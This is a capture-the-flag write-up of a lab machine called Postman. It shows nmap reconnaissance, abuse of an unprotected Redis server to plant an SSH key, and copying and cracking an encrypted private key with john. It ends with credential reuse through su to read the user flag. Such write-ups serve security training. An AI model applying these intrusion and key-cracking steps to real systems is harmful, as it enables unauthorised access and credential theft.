Starting with a nmap-scan gives us the following results:
$ nmap -A 10.10.10.160 -T 5 -p-
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
| 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp open redis Redis key-value store
10000/tcp open http MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
The machine provides two different http server, one on default port 80 and another on port 10000.
At first sight, port 80 doesn't reveal any useful information. A gobuster scan just shows default directories
like images, js and similar directories. The webserver on port 10000 forces us to use https. Doing so,
a Webmin login page is shown, but we don't have any credentials yet.
There is another interesting port: 6379/tcp: Redis key-value store. Using redis-cli we can
try to connect to that server:
$ redis-cli -h 10.10.10.160
The redis server doesn't seem to be password protected! Doing some research, we find an exploit, which can
exploit this fact by setting our ssh public key as a key-value pair and writing it into the changed database file:
/var/lib/redis/.ssh/authorized_keys. More information can be found here: Redis RCE.
For this settings, i had to try some default paths and look at the previously
set values using config get *. Using this public key, we can now login as redis user with our private key.
Doing some basic enumeration of common folder reveals the next step for the user part:
$ ssh -i ~/.ssh/id_rsa_htb firstname.lastname@example.org
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)
redis@postman:~$ ls -al /opt
drwxr-xr-x 2 root root 4096 Sep 11 11:28 .
drwxr-xr-x 22 root root 4096 Aug 25 15:03 ..
-rwxr-xr-x 1 Matt Matt 1743 Aug 26 00:11 id_rsa.bak
redis@postman:~$ head -n2 /opt/id_rsa.bak
-----BEGIN RSA PRIVATE KEY-----
We got a private key, probably for the user Matt found in /etc/passwd. Unfortunately,
this key is encrypted but we can download it using scp and try to crack it using john:
$ scp -i ~/.ssh/id_rsa_htb email@example.com:/opt/id_rsa.bak .
id_rsa.bak 100% 1743 150.5KB/s 00:00
$ ssh2john id_rsa.bak > hash
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 1 candidate left, minimum 4 needed for performance.
1g 0:00:00:15 DONE (2020-02-07 21:20) 0.06583g/s 944153p/s 944153c/s 944153C/s *7¡Vamos!
After changing permissions to 600 (rw-), we can try to use this private key for ssh
authentication as user Matt. Unfortunately, the server immediately closes the connection. Isn't the user
allowed to connect via ssh? But we can try another thing: logging back in as user redis and executing
su to switch to user Matt. And indeed! We got a credential reuse. We can now easily read the user flag:
redis@postman:~$ su Matt
Matt@postman:/var/lib/redis$ cat ~/user.txt